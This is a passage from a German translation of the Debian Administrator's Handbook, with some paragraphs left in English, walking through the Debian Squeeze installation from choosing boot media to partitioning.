Bevor man sich Hals über Kopf auf diese Aufgabe stürzt, sollte man unbedingt den Rest dieses Buches lesen. Danach wird man ein genaueres Verständnis davon haben, wie die erwarteten Dienste einzurichten sind.

Chapter 4. Installation

Um Debian benutzen zu können, müssen Sie es auf einem Rechner installieren; diese Aufgabe wird durch das Programm debian-installer erledigt. Eine einwandfreie Installation umfasst zahlreiche Arbeitsgänge. Dieses Kapitel behandelt sie in ihrer chronologischen Reihenfolge.

ZURÜCK ZU DEN GRUNDLAGEN Ein Auffrischungskurs im Anhang

Es ist immer einfacher, einen Rechner einzurichten, wenn Sie mit seiner Funktionsweise vertraut sind. Falls Sie es nicht sind, machen Sie einen kurzen Abstecher zu Appendix B, Kurzer Förderkurs, bevor Sie dieses Kapitel lesen.

Das Installationsprogramm für Squeeze basiert auf debian-installer. Aufgrund seines modularen Designs ist es in der Lage, in verschiedenen Szenarien zu arbeiten, sich weiterzuentwickeln und sich auf Änderungen einzustellen. Trotz der Einschränkungen, die sich aus der Notwendigkeit ergeben eine große Anzahl von Architekturen zu unterstützen, ist das Installationsprogramm für Anfänger leicht verständlich, da es Benutzer in jeder Phase des Prozesses unterstützt. Automatische Hardware-Erkennung, geführte Partitionierung und grafische Schnittstellen haben die meisten der Probleme gelöst, denen Anfänger gewöhnlich gegenüberstanden.

Eine Installation erfordert 56 MB RAM (Random Access Memory = Arbeitsspeicher) und wenigstens 650 MB Festplattenspeicher. Alle Falcot Computer erfüllen diese Kriterien. Beachten Sie jedoch, dass diese Werte für die Installation eines sehr begrenzten Systems ohne grafische Arbeitsfläche gelten. Für einen einfachen Arbeitsplatzrechner werden 512 MB RAM und mindestens 5 GB Festplattenspeicher empfohlen.

VORSICHT beim Upgrade von Lenny

Falls Sie bereits Debian Lenny auf Ihrem Rechner installiert haben, ist dieses Kapitel nicht für Sie geeignet! Im Gegensatz zu anderen Distributionen ermöglicht Debian die Aktualisierung eines Systems von einer Version zur nächsten, ohne das System neu installieren zu müssen. Eine Neuinstallation wäre nicht nur überflüssig, sondern könnte sogar gefährlich sein, da hierbei bereits installierte Programme entfernt werden könnten.

Der Upgrade-Prozess wird in Section 6.6, “Von einer Stable Distribution auf die nächste aktualisieren” beschrieben.

4.1. Installationsmethoden

Ein Debian-System kann mithilfe unterschiedlicher Medien installiert werden, sofern das BIOS des Rechners es unterstützt. Sie können zum Beispiel mit einer CD-ROM, einem USB-Stick oder sogar über das Netzwerk booten.

ZURÜCK ZU DEN GRUNDLAGEN BIOS, die Schnittstelle zwischen Hard- und Software

Das BIOS (Basic Input/Output Sytem = grundlegendes Eingabe-/Ausgabe-System) ist ein Programm, das auf der Hauptplatine enthalten ist (der elektronischen Platine, an der alle Peripheriegeräte angeschlossen sind) und beim Hochfahren des Rechners ausgeführt wird, um ein Betriebssystem (über einen geeigneten Boot-Loader) zu laden. Es bleibt im Hintergrund, um eine Schnittstelle zwischen der Hardware und der Software (in unserem Fall dem Linux Kernel) bereitzustellen.

4.1.1. Von einer CD-ROM/DVD-ROM installieren

Das meist benutzte Installationsmedium ist eine CD-ROM (oder DVD-ROM, die sich genauso verhält): Der Rechner wird von diesem Medium hochgefahren, und das Installationsprogramm übernimmt.

Verschiedene CD-ROMs haben unterschiedliche Zielsetzungen: netinst (Netzwerkinstallation) enthält das Installationsprogramm und ein grundlegendes Debian-System; alle anderen Programme werden heruntergeladen. Sein „Image“ beansprucht nur etwa 150 MB und enthält ein ISO-9660-Dateisystem, das genau den gleichen Inhalt bereithält wie die Festplatte. Dann haben wir die Businesscard- oder Bizcard-CD-ROMs die nur das Installationsprogramm enthalten und bei denen alle Debian-Pakete (einschließlich des Grundsystems) heruntergeladen werden müssen. Da sein Image nur 35 MB beansprucht kann es auf eine CD-ROM des „Business Card“-Typs gebrannt werden, von der sie ihren Namen hat. Schließlich bietet das vollständige Set alle Pakete und ermöglicht eine Installation auf einem Rechner ohne Internetzugang; es benötigt etwa 50 CD-ROMs (oder acht DVD-ROMs oder zwei Blue-Ray-Disks). Die Programme sind jedoch nach Popularität und Wichtigkeit auf die Platten verteilt; die ersten drei Datenträger reichen für die meisten Installationen aus, da sie die meistgenutzten Programme enthalten.

TIP Multiarchitektur-Datenträger

Die meisten Installations-CD-ROMs und -DVD-ROMs funktionieren nur mit einer spezifischen Hardwarearchitektur. Wenn Sie die vollständigen Images herunterladen möchten müssen Sie darauf achten, dass Sie diejenigen auswählen, die auf der Hardware des Rechners funktionieren auf dem Sie sie installieren möchten.

Einige CD/DVD-ROM-Images funktionieren auf mehreren Architekturen. Es gibt daher ein Netinst-CD-ROM-Image für die i386- und amd64-Architekturen. Außerdem gibt es ein DVD-ROM-Image, das das Installationsprogramm und eine Auswahl von Binärpaketen für i386 und amd64 sowie die entsprechenden Quellpakete enthält.

Um Debian CD-ROM-Images zu bekommen, können Sie sie natürlich herunterladen und auf eine CD/DVD brennen. Sie können sie auch kaufen und so dem Projekt eine kleine finanzielle Unterstützung gewähren. Auf der folgenden Webseite finden Sie eine Liste der Verkäufer von CD-ROM-Images sowie Download-Seiten.

→ http://www.debian.org/CD/index.html

IN DER PRAXIS Debian auf CD-ROM

Debian CD-/DVD-ROMs können auch käuflich erworben werden; Raphaël Hertzog bietet welche auf seinem Blog an, wobei 10% der Erlöse dem Debian Projekt zukommen und der Rest wird von ihm verwendet um mehr Zeit in Debian investieren zu können.

→ http://www.debian.org/CD/vendors/

→ http://raphaelhertzog.com/go/debian-cd/

4.1.2. Von einem USB-Stick hochfahren

Da neuere Rechner in der Lage sind von USB-Geräten hochzufahren, können Sie Debian auch von einem USB-Stick installieren (dies ist nichts weiter als eine kleine Flash-Speicherplatte). Beachten Sie jedoch, dass nicht alle BIOS-Arten gleich sind; manche können von USB 2.0-Geräten hochfahren während andere nur mit USB 1.1 funktionieren. Darüber hinaus muss der USB-Stick 512-Byte-Sektoren haben und dieses Merkmal ist nie auf den Verpackungen der zum Kauf angebotenen Sticks vermerkt, obwohl es weit verbreitet ist.

Das Installationshandbuch erklärt, wie man einen USB-Stick erstellt, der den debian-installer enthält. Das Vorgehen wurde mit Squeeze erheblich vereinfacht, da die ISO-Images für i386- und amd64-Architekturen jetzt Hybrid-Images sind, die von einer CD-ROM ebenso wie von einem USB-Stick starten können.

Sie müssen zunächst den Gerätenamen des USB-Sticks feststellen (zum Beispiel /dev/sdb); am einfachsten ist es, hierzu die vom Kernel verschickten Mitteilungen mit dem Befehl dmesg zu überprüfen. Dann müssen Sie das zuvor heruntergeladene ISO-Image (zum Beispiel debian-6.0.0-amd64-i386-netinst.iso) mit dem Befehl cat debian-6.0.0-amd64-i386-netinst.iso >/dev/sdb; sync kopieren. Dieser Befehl erfordert Administratorrechte, da er direkt auf den USB-Stick zugreift und blindlings seinen Inhalt löscht.

Eine ausführlichere Erläuterung findet sich im Installationshandbuch. Unter anderem beschreibt sie eine alternative Methode zur Vorbereitung eines USB-Sticks, die zwar komplizierter ist, es jedoch erlaubt, die voreingestellten Optionen des Installationsprogramms (die in der Kernel-Befehlszeile angegeben sind) anzupassen.

→ http://www.debian.org/releases/stable/i386/ch04s03.html

4.1.3. Installieren durch Booten über ein Netzwerk

Viele BIOS-Konfigurationen ermöglichen es, den Rechner direkt aus dem Netzwerk durch das Herunterladen des zu bootenden Kernels hochzufahren. Diese Methode (die verschiedene Namen hat, wie zum Beispiel PXE- oder TFTP-Boot) kann die Rettung sein, wenn der Rechner kein CD-ROM-Laufwerk hat, oder wenn das BIOS nicht von derartigen Medien hochfahren kann.

This installation method works in two steps. First, while booting the computer, the BIOS (or the network card) issues a BOOTP/DHCP request to automatically acquire an IP address. When a BOOTP or DHCP server returns a response, it includes a filename, as well as network settings. After having configured the network, the client computer then issues a TFTP (Trivial File Transfer Protocol) request for a file whose name was previously indicated. Once this file is acquired, it is executed as though it were a bootloader. This then launches the Debian installation program, which is executed as though it were running from the hard drive, a CD-ROM, or a USB key.

Alle Einzelheiten dieser Methode sind in der Installationsanleitung beschrieben (im Abschnitt „Dateien vorbereiten für TFTP-Netzwerk-Boot“).

→ http://www.debian.org/releases/stable/i386/ch05s01.html#boot-tftp

→ http://www.debian.org/releases/stable/i386/ch04s05.html

4.1.4. Andere Installationsmethoden

Wenn wir angepasste Installationen auf einer großen Anzahl von Rechnern einrichten müssen, verwenden wir normalerweise eine automatische statt einer manuellen Installationsmethode. Je nach Situation und Komplexität der durchzuführenden Installationen können wir den FAI (Fully Automatic Installer, beschrieben in Section 12.3.1, “Fully Automatic Installer (FAI)”) oder sogar eine speziell angepasste Installations-CD mit Preseeding (siehe Section 12.3.2, “Das Debian-Installationsprogramm voreinstellen”) verwenden.

4.2. Installieren, Schritt für Schritt

4.2.1. Booten und Starten des Installationsprogramms

Sobald das BIOS damit begonnen hat, von der CD-ROM oder DVD-ROM hochzufahren, erscheint das Menü des Isolinux Boot-Loaders. Zu diesem Zeitpunkt ist der Linux-Kernel noch nicht geladen; das Menü ermöglicht es Ihnen, den zu ladenden Kernel auszuwählen und mögliche Parameter einzugeben, die an ihn im Verlauf des Vorgangs weitergeleitet werden sollen.

Für eine Standard-Installation brauchen Sie nur (mit den Pfeiltasten) „Install“ oder „Graphical install“ auszuwählen und dann die Eingabe-Taste zu drücken, um den übrigen Teil des Installationsprozesses zu starten. Falls die DVD-ROM eine „Multi-arch“-DVD ist (so wie die, die diesem Buch beiliegt) und der Rechner einen Intel- oder AMD-64-Bit-Prozessor hat, ermöglichen die Menüoptionen „64 bit install“ und „64 bit graphical install“ die Installation der 64-Bit-Variante (amd64) anstelle der standardmäßigen 32-Bit-Variante (i386). Faktisch ist die 64-Bit-Variante eher für einen Server als für einen Arbeitsplatzrechner relevant, da sie Schwierigkeiten bei der Verwendung einiger nicht-freier Programme bereiten wird, die nur als Binärdateien veröffentlicht sind.

WEITERFÜHRENDE INFORMATIONEN 32 oder 64 Bits?

Der wesentliche Unterschied zwischen 32- und 64-Bit-Systemen besteht im Ausmaß der Speicheradressen. Theoretisch kann ein 32-Bit-System nicht mit mehr als 4 GB RAM arbeiten (2³² Bytes). Tatsächlich lässt sich diese Beschränkung umgehen, indem man die 686-bigmem-Kernelvariante benutzt, sofern der Prozessor die PAE-Funktionsweise (Physical Address Extension) unterstützt. Ihre Verwendung hat indes einen bemerkenswerten Einfluss auf die Systemgeschwindigkeit. Daher ist es sinnvoll, den 64-Bit-Modus auf einem Server mit sehr viel Arbeitsspeicher zu benutzen.

Bei einem Arbeitsplatzrechner (bei dem ein Leistungsunterschied von wenigen Prozenten unerheblich ist) sollten Sie berücksichtigen, dass einige proprietäre Programme nicht in 64-Bit-Versionen verfügbar sind (wie zum Beispiel Skype und das Plugin zur Handhabung von Java-Applets in Webbrowsern). Es ist technisch möglich, sie auf 64-Bit-Systemen zum Laufen zu bringen, aber dazu müssen Sie die 32-Bit-Versionen mit allen erforderlichen Programmbibliotheken installieren und in vielen Fällen setarch oder linux32 (im Paket util-linux) verwenden, um Anwendungen über die Art des Systems zu täuschen. Dies ist viel Aufwand für einen relativ kleinen Zugewinn.

IN DER PRAXIS Installation neben einem existierenden Windows-System

Falls auf dem Rechner bereits Windows läuft, ist es nicht erforderlich, das System zu löschen, um Debian zu installieren. Sie können beide Systeme gleichzeitig nutzen, indem jedes auf einer eigenen Platte oder Partition installiert wird und beim Hochfahren des Rechners wählen Sie aus, welches Sie starten möchten. Diese Konfiguration wird häufig als „Dualboot“ bezeichnet, und das Debian-Installationssystem kann es einrichten. Dies geschieht in der Installationsphase der Festplattenpartitionierung, während der Boot-Loader eingerichtet wird (siehe die Seitenleisten in diesen Abschnitten).

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit name...

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ http://www.goodbye-microsoft.com/

ZURÜCK ZU DEN GRUNDLAGEN Boot-Loader

Der Boot-Loader ist ein Programm auf niedriger Systemebene, der für das Laden des Linux-Kernels zuständig ist, unmittelbar nachdem das BIOS seine Kontrolle abgegeben hat. Um diese Aufgabe zu erledigen, muss er in der Lage sein, den zu ladenden Kernel auf der Platte zu finden. Bei i386/amd64-Architekturen sind LILO, das ältere der beiden, und GRUB, ein modernerer Herausforderer, die für diese Aufgabe am häufigsten verwendeten Programme. Isolinux und Syslinux sind Alternativen, die häufig zum Hochfahren von Wechseldatenträgern aus verwendet werden.

Hinter jedem Menü-Eintrag verbirgt sich eine bestimmte Boot-Befehlszeile, die nach Bedarf konfiguriert werden kann, indem man die TAB-Taste drückt, den Eintrag überprüft und anschließend weiter hochfährt. Der Menü-Eintrag „Help“ zeigt die alte Befehlszeilenschnittstelle an, bei der die F1- bis F10-Tasten verschiedene Hilfefenster mit Einzelheiten zu den unterschiedlichen Optionen anzeigen, die an der Eingabeaufforderung zur Verfügung stehen. Sie werden diese Option nur selten benötigen, außer in sehr besonderen Fällen.

Der „Experten“-Modus (erreichbar über das Menü „Advanced Options“) zeigt ausführlich alle Optionen, die während des Installationsprozesses verwendet werden können, und erlaubt es, die einzelnen Schritte anzusteuern, ohne dass diese automatisch in der vorgegebenen Reihenfolge ablaufen. Seien Sie vorsichtig: dieser sehr ausführliche Modus kann aufgrund der Vielzahl an Konfigurationsmöglichkeiten verwirrend sein.

Figure 4.1. Startbildschirm

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from a Multi-Arch DVD-ROM; other types of installations, (netinst or businesscard) may be slightly different. We will also address installation in graphical mode, but this differs from “classic” installation only in appearance.

4.2.2. Die Sprache wählen

Das Installationsprogramm beginnt in Englisch, jedoch ermöglicht der erste Schritt es dem Benutzer, die Sprache zu wählen, die im weiteren Verlauf verwendet wird. Zum Beispiel wird nach der Wahl von Deutsch eine vollständig ins Deutsche übersetzte Installation (und als Ergebnis ein auf Deutsch konfiguriertes System) bereitgestellt. Diese Wahl dient auch dazu, in den anschließenden Schritten passendere Voreinstellungen festzulegen (insbesondere die Tastaturbelegung).

ZURÜCK ZU DEN GRUNDLAGEN Mit der Tastatur navigieren

Bei einigen Schritten des Installationsprozesses müssen Sie Informationen eingeben. Diese Bildschirme haben mehrere Bereiche, die „im Fokus liegen“ können (Bereiche zur Texteingabe, Kästchen zum Ankreuzen, Auswahllisten, OK- oder Abbruchschaltflächen), und zwischen denen Sie sich mit der TAB-Taste hin- und herbewegen können.

Im grafischen Modus können Sie die Maus nutzen.

Figure 4.2. Die Sprache wählen

4.2.3. Das Land wählen

Der zweite Schritt besteht darin, Ihr Land auszuwählen. Entsprechend der Sprache ermöglicht diese Information es dem Programm, die geeignetste Tastaturbelegung anzubieten. Es hat auch Auswirkungen auf die Einstellung der Zeitzone.

Figure 4.3. Das Land wählen

4.2.4. Die Tastaturbelegung auswählen

Die vorgeschlagene Tastaturbelegung „Deutsch“ entspricht der normalen QWERTZ-Belegung.

Figure 4.4. Auswahl der Tastatur

4.2.5. Hardwareerkennung

Dieser Schritt läuft in der weit überwiegenden Anzahl von Fällen völlig selbstständig ab. Das Installationsprogramm erkennt Ihre Hardware und versucht, das verwendete CD-ROM-Laufwerk zu identifizieren, um auf seinen Inhalt zuzugreifen. Es lädt die Module entsprechend der jeweils erkannten Hardwarekomponenten und „hängt“ dann die CD-ROM „ein“, um sie zu lesen. Die bisherigen Schritte waren vollständig in dem auf der CD enthaltenen Boot-Image enthalten, einer Datei begrenzter Größe, die vom BIOS während des Hochfahrens von der CD in den Arbeitsspeicher geladen wurde.

Das Installationsprogramm kommt mit der weit überwiegenden Mehrzahl von Laufwerken zurecht, insbesondere mit den standardmäßigen ATAPI-Pheripheriegeräten (manchmal auch als IDE und EIDE bezeichnet). Falls aber die Erkennung des CD-ROM-Laufwerks fehlschlägt, bietet das Installationsprogramm an, ein zum CD-ROM-Treiber passendes Kernelmodul (zum Beispiel von einem USB-Stick) zu laden.

4.2.6. Komponenten laden

Nachdem nun der Inhalt der CD verfügbar ist, lädt das Installationsprogramm alle für seine weitere Arbeit erforderlichen Dateien herunter. Hierzu gehören zusätzliche Treiber für die übrige Hardware (vor allem die Netzwerkkarte) wie auch alle Komponenten des Installationsprogramms.

4.2.7. Netzwerk-Hardware erkennen

Dieser automatische Schritt versucht die Netzwerkkarte zu erkennen und das entsprechende Modul zu laden. Schlägt die automatische Erkennung fehl, so können Sie manuell das zu ladende Modul auswählen. Falls kein Modul passt, ist es möglich, ein spezifisches Modul von einem Wechseldatenträger zu laden. Diese letzte Lösung ist normalerweise nur erforderlich, falls kein passender Treiber im standardmäßigen Linux-Kernel enthalten ist, aber an anderer Stelle zur Verfügung steht, wie zum Beispiel auf der Webseite des Herstellers.

Dieser Schritt muss bei netinst- oder businesscard-Installationen auf jeden Fall erfolgreich sein, da die Debian-Pakete aus dem Netzwerk geladen werden müssen.

4.2.8. Das Netzwerk konfigurieren

In dem Bestreben, den Vorgang möglichst weitgehend zu automatisieren, unternimmt das Installationsprogramm den Versuch einer automatischen DHCP-Netzwerkkonfiguration. Falls dieser fehlschlägt, bietet es mehrere Wahlmöglichkeiten an: es ein weiteres Mal mit einer normalen DHCP-Konfiguration zu versuchen, eine DHCP-Konfiguration mit Angabe des Rechnernamens zu probieren, oder eine statische Netzwerkkonfiguration einzurichten.

Diese letzte Option erfordert die Angabe einer IP-Adresse, einer Subnetzmaske, einer IP-Adresse für ein eventuelles Gateway und eines Domain-Namens.

TIP Konfiguration ohne DHCP

Falls das lokale Netzwerk mit einem DHCP-Server ausgestattet ist, den Sie nicht benutzen möchten, da Sie stattdessen im Verlauf der Installation für den Rechner lieber eine statische IP-Adresse festlegen möchten, können Sie beim Hochfahren von der CD-ROM die Option netcfg/use_dhcp=false hinzufügen. Sie müssen nur durch Drücken der TAB-Taste zu dem gewünschten Menü-Eintrag gehen und die gewünschte Option hinzufügen, bevor Sie dann die Enter-Taste drücken.

VORSICHT Nicht improvisieren

Viele lokale Netzwerke beruhen auf der impliziten Annahme, dass allen Rechnern vertraut werden kann, und die unzureichende Konfiguration eines einzelnen Rechners kann häufig das gesamte Netzwerk durcheinanderbringen. Deshalb sollten Sie Ihren Rechner nicht mit einem Netzwerk verbinden, ohne sich vorher mit dem Administrator über die passenden Einstellungen geeinigt zu haben (zum Beispiel die IP-Adresse, die Netzmaske und die Broadcast-Adresse).

4.2.9. Die Uhr einstellen

Wenn das Netzwerk zugänglich ist, wird die interne Systemuhr (durch einmaligen Zugriff) über einen NTP-Server gestellt. Auf diese Weise sind die Zeitstempel der Protokolldateien vom ersten Startvorgang an korrekt. Damit sie im Zeitverlauf durchgehend genau bleiben, muss nach der anfänglichen Installation ein NTP-Deamon eingerichtet werden (siehe Section 8.9.2, “Zeitsynchronisierung”).

4.2.10. Administrator-Passwort

Das Root-Konto des Superusers ist für den Administrator des Rechners reserviert und wird während der Installation automatisch erstellt; deshalb wird ein Passwort angefordert. Eine Bestätigung (oder zwei gleichlautende Eingaben) verhindern Eingabefehler, die später nur schwer zu berichtigen wären.

Figure 4.5. Administrator-Passwort

SICHERHEIT Administrator-Passwort

Das Passwort des Root-Users sollte lang (6 Zeichen oder mehr) und nicht zu erraten sein. In der Tat ist jeder mit dem Internet verbundene Rechner (und erst recht jeder Server) regelmäßig das Ziel automatischer Verbindungsversuche mit den nächstliegenden Passwörtern. Manchmal kann er sogar einem Wörterbuchangriff ausgesetzt sein, bei dem viele Kombinationen von Wörtern und Zahlen als Passwörter ausprobiert werden. Vermeiden Sie es, die Namen von Kindern oder Eltern, Geburtstage und so weiter zu benutzen: viele Ihrer Kollegen kennen sie möglicherweise, und Sie möchten ihnen nur selten freien Zugang zu dem betreffenden Rechner geben.

Diese Anmerkungen gelten in gleicher Weise für andere Benutzerkennwörter, aber die Folgen eines kompromittierten Kontos sind für Benutzer ohne Administrator-Rechte weniger einschneidend.

Falls Ihnen nichts einfällt, sollten Sie nicht zögern, einen Passwort-Generator wie pwgen (im Paket gleichen Namens) zu verwenden.

4.2.11. Den ersten Benutzer erstellen

Debian erzwingt auch das Anlegen eines normalen Nutzerkontos, so dass der Administrator nicht die schlechte Angewohnheit entwickelt, als Root zu arbeiten. Das Vorsorgeprinzip bedeutet im Kern, dass jede Aufgabe mit den geringst erforderlichen Rechten ausgeführt wird, um so den durch menschliches Versagen verursachten Schaden zu begrenzen. Deshalb fragt das Installationsprogramm nach dem vollständigen Namen des ersten Nutzers, seinem Benutzernamen und seinem Passwort (zweimal, um die Gefahr einer fehlerhaften Eingabe zu vermeiden).

Figure 4.6. Name des ersten Benutzers

4.2.12. Platten und andere Geräte erkennen

In diesem Schritt werden automatisch die Festplatten erkannt, auf denen Debian installiert werden kann. Sie werden im nächsten Schritt, der Partitionierung, angezeigt.

4.2.13. Das Partitionierungswerkzeug starten

KULTUR Nutzen des Partitionierens

Das Partitionieren, ein unabdingbarer Schritt der Installation, besteht darin, den auf den Festplatten verfügbaren Platz nach Maßgabe der darauf zu speichernden Daten und der beabsichtigten Verwendung des Rechners aufzuteilen (jede derartige Unterabteilung wird „Partition“ genannt). Bei diesem Schritt werden auch die zu verwendenden Dateisysteme ausgewählt. All diese Entscheidungen beeinflussen die Leistungsstärke, Datensicherheit und Administration des Servers.

Der Schritt des Partitionierens ist für neue Nutzer normalerweise schwierig. Die verschiedenen Teile der Platten (oder „Partitionen“), auf denen die Linux-Dateisysteme und der virtuelle Speicher (Swap) abgelegt werden sollen, müssen bestimmt werden. Diese Aufgabe wird noch schwieriger, wenn sich auf dem Rechner bereits ein anderes Betriebssystem befindet, das Sie behalten möchten. Sie müssen dann auf jeden Fall sicherstellen, dass dessen Partitionen nicht verändert werden (oder dass Sie ihre Größe verändern, ohne Schaden anzurichten).

Fortunately, the partitioning software has a “guided” mode which recommends partitions for the user to make — in most cases, you can simply validate the software's suggestions.

Figure 4.7. Wahl der Partitionierungsart

Der erste Bildschirm des Partitionierungsprogramms bietet Ihnen an, die gesamte Festplatte zur Erstellung verschiedener Partitionen zu verwenden. Für einen (neuen) Rechner, der ausschließlich Linux verwenden wird, ist diese Option eindeutig die einfachste, und Sie können die Option „Geführt - vollständige Festplatte verwenden“ wählen. Falls der Rechner zwei Festplatten für zwei Betriebssysteme hat, kann es die Partitionierung erleichtern, wenn jeweils eine Festplatte für ein Betriebssystem ausgewählt wird. In beiden Fällen bietet der nächste Bildschirm an, die Festplatte, auf der Linux installiert wird, durch Auswählen des entsprechenden Eintrags zu bestimmen (zum Beispiel „SCSI3 (0,0,0) (sda) - 12.9 GB ATA VBOX HARDDISK“). Anschließend beginnen Sie die geführte Partitionierung.

Figure 4.8. Für geführtes Partitionieren zu verwendende Platte

Geführtes Partitionieren kann auch statt Partitionen logische Datenträger unter LVM einrichten (siehe unten). Da der Rest des Verfahrens jedoch der gleiche ist, werden wir die Option „Geführt - gesamte Platte verwenden und LVM einrichten“ (verschlüsselt oder nicht) nicht durchgehen.

In anderen Fällen, wenn Linux neben anderen bereits existierenden Partitionen laufen muss, müssen Sie manuelles Partitionieren wählen.

4.2.13.1. Geführtes Partitionieren

Das Programm zum geführten Partitionieren bietet drei Partitionierungsmethoden an, die unterschiedlichen Einsätzen entsprechen.

Figure 4.9. Geführtes Partitionieren

Die erste Methode heißt „Alle Dateien auf eine Partition“. Der gesamte Linux-Systembaum wird in einem einzigen zum Stammverzeichnis / gehörenden Dateisystem abgelegt. Diese einfache und stabile Partitionierung passt ausgezeichnet zu einem personengebundenen oder Einzelplatzsystem. Eigentlich werden zwei Partitionen erstellt: die erste nimmt das gesamte System auf, die zweite den virtuellen Speicher (Swap).

Die zweite Methode, „Separate /home/-Partition“, ist ähnlich, teilt jedoch die Dateihierarchie in zwei Partitionen auf: eine Partition enthält das Linux-System (/) und die zweite die „home-Verzeichnisse“ (das heißt Nutzerdaten in Dateien und Unterverzeichnissen unter /home/).

The last partitioning method, called “Separate /home, /usr, /var, and /tmp partitions”, is appropriate for servers and multi-user systems. It divides the file tree into many partitions: in addition to the root (/) and user accounts (/home/) partitions, it also has partitions for applications (/usr/), server software data (/var/), and temporary files (/tmp/). These divisions have several advantages. Users can not lock up the server by consuming all available hard drive space (they can only fill up /tmp/ and /home/). The daemon data (especially logs) can no longer clog up the rest of the system.

ZURÜCK ZU DEN GRUNDLAGEN Ein Dateisystem wählen

Ein Dateisystem bestimmt die Art und Weise, in der Daten auf einer Festplatte angeordnet werden. Jedes bestehende Dateisystem hat seine Vorzüge und Beschränkungen. Einige sind stabiler, andere effektiver: wenn Sie Ihre Anforderungen gut kennen, ist es möglich, das zweckmäßigste Dateisystem auszuwählen. Es gibt bereits zahlreiche Vergleiche; anscheinend ist das ReiserFS vor allem für das Lesen vieler kleiner Dateien effizient; dagegen arbeitet XFS besser mit großen Dateien. Ext3, das Standarddateisystem für Debian, ist ein guter Kompromiss und basiert auf den beiden früher in Linux verwendeten Dateisystemversionen (ext und ext2). Sie können auch seinen Nachfolger ext4 wählen, der bestimmte Einschränkungen von ext3 überwindet und vor allem für Festplatten mit sehr großer Kapazität geeignet ist. Falls Sie sehr mutig sind, können Sie auch mit dem vielversprechenden btrfs experimentieren, das zahlreiche Merkmale aufweist, die bislang die Verwendung von LVM oder RAID erfordern.

Ein protokollierendes Dateisystem (wie ext3, ext4, btrfs, reiserfs oder xfs) unternimmt besondere Schritte, um nach einer plötzlichen Störung die Rückkehr zu einem früheren konsistenten Zustand zu ermöglichen, ohne die gesamte Festplatte zu analysieren (wie es beim ext2-System der Fall war). Diese Fähigkeit wird durch das Führen eines Journals erreicht, das die auszuführenden Operationen beschreibt, bevor sie tatsächlich vollzogen werden. Falls eine Operation unterbrochen wird, ist es möglich, sie aus dem Journal zu wiederholen. Falls im Gegenzug eine Unterbrechung während einer Aktualisierung des Journals eintritt, wird die zuletzt angeforderte Veränderung einfach ignoriert; die Daten, die gerade geschrieben werden, könnten so verloren gehen, aber da die Daten auf der Festplatte nicht verändert wurden, sind sie kohärent geblieben. Dies bedeutet nicht mehr und nicht weniger, als dass ein Transaktionsmechanismus auf das Dateisystem angewendet wird.

Nach der Auswahl der Partitionierungsmethode berechnet das Programm einen Vorschlag und zeigt ihn auf dem Bildschirm an; der Nutzer kann ihn dann, falls erforderlich, abändern. Insbesondere können Sie ein anderes Dateisystem wählen, falls die Standardauswahl (ext3) nicht zweckmäßig ist. In den meisten Fällen ist die vorgeschlagene Partitionierung jedoch sinnvoll und kann durch die Auswahl des Eintrags „Partitionierung beenden und Änderungen übernehmen“ angenommen werden.

Figure 4.10. Das Partitionieren bestätigen

4.2.13.2. Manuelles Partitionieren

Manuelles Partitionieren bietet größere Flexibilität, indem sie es dem Nutzer ermöglicht, den Verwendungszweck und die Größe jeder Partition zu wählen. Darüber hinaus ist dieser Modus unumgänglich, wenn Sie Software-RAID verwenden möchten.

IN DER PRAXIS Eine Windows-Partition verkleinern

Um Debian neben einem bestehenden Betriebssystem (Windows oder andere) zu installieren, benötigen Sie einigen verfügbaren Festplattenplatz, der nicht von dem anderen System benutzt wird, um dort die für Debian vorgesehenen Partitionen zu erstellen. In den meisten Fällen bedeutet dies, eine Windows-Partition zu verkleinern und den freigewordenen Platz zu nutzen.

Das Debian-Installationsprogramm ermöglicht diese Aktion im manuellen Partitionierungsmodus. Sie müssen nur die Windows-Partition auswählen und ihre neue Größe eingeben (dies funktioniert sowohl bei FAT- als auch bei NTFS-Partitionen).

Der erste Bildschirm zeigt die verfügbaren Festplatten, ihre Partitionen und jeglichen freien Speicherplatz, der noch nicht partitioniert ist. Sie können jedes der angezeigten Elemente auswählen; durch Drücken der Eingabe-Taste wird dann eine Liste der möglichen Aktionen angezeigt.

Sie können alle Partitionen auf der Platte löschen, indem Sie sie auswählen.

Wenn Sie freien Speicherplatz auf einer Platte auswählen, können Sie manuell eine neue Partition erstellen. Sie können dies auch mittels einer geführten Partitionierung tun, was eine interessante Lösung für eine Platte ist, die bereits ein anderes Betriebssystem enthält, die Sie jedoch für Linux in der üblichen Weise partitionieren möchten. Siehe den vorhergehenden Abschnitt für mehr Einzelheiten zur geführten Partitionierung.

ZURÜCK ZU DEN GRUNDLAGEN Einhängepunkt

Der Einhängepunkt ist der Verzeichnisbaum, der auf der ausgewählten Partition den Inhalt des Dateisystems beherbergen wird. So ist eine als /home/ eingehängte Partition üblicherweise dazu bestimmt, Nutzerdaten zu enthalten.

Wenn das Verzeichnis „/“ heißt, wird es als root des Verzeichnisbaums bezeichnet und damit als Wurzel der Partition, die das Debian-System aufnehmen wird.

ZURÜCK ZU DEN GRUNDLAGEN Virtueller Speicher, Swap

Virtueller Speicher ermöglicht es dem Linux-Kernel, wenn ihm ausreichender Speicher (RAM) fehlt, etwas Speicherplatz freizumachen, indem er Teile des RAM, die seit einiger Zeit inaktiv waren, auf der Swap-Partition der Festplatte ablegt.

Um zusätzlichen Speicher zu simulieren, verwendet Windows eine Swap-Datei, die direkt in einem Dateisystem enthalten ist. Im Gegensatz hierzu verwendet Linux eine speziell für diesen Zweck vorgesehene Partition, daher der Name „Swap-Partition“.

Bei der Auswahl einer Partition können Sie angeben, in welcher Weise Sie sie verwenden möchten:

formatieren und durch Auswahl eines Einhängepunkts in den Verzeichnisbaum aufnehmen;

als Swap-Partition verwenden;

zu einem „physikalischen Datenträger für die Verschlüsselung“ machen (um die Vertraulichkeit der Daten auf bestimmten Partitionen zu schützen, siehe unten);

zu einem „physikalischen Datenträger für LVM“ machen (dieses Konzept wird weiter unten in diesem Kapitel ausführlicher erläutert);

als RAID-Laufwerk verwenden (siehe weiter unten in diesem Kapitel);

oder sie nicht zu verwenden und daher unverändert zu lassen.

4.2.13.3. Mehrplattenlaufwerke konfigurieren (Software-RAID)

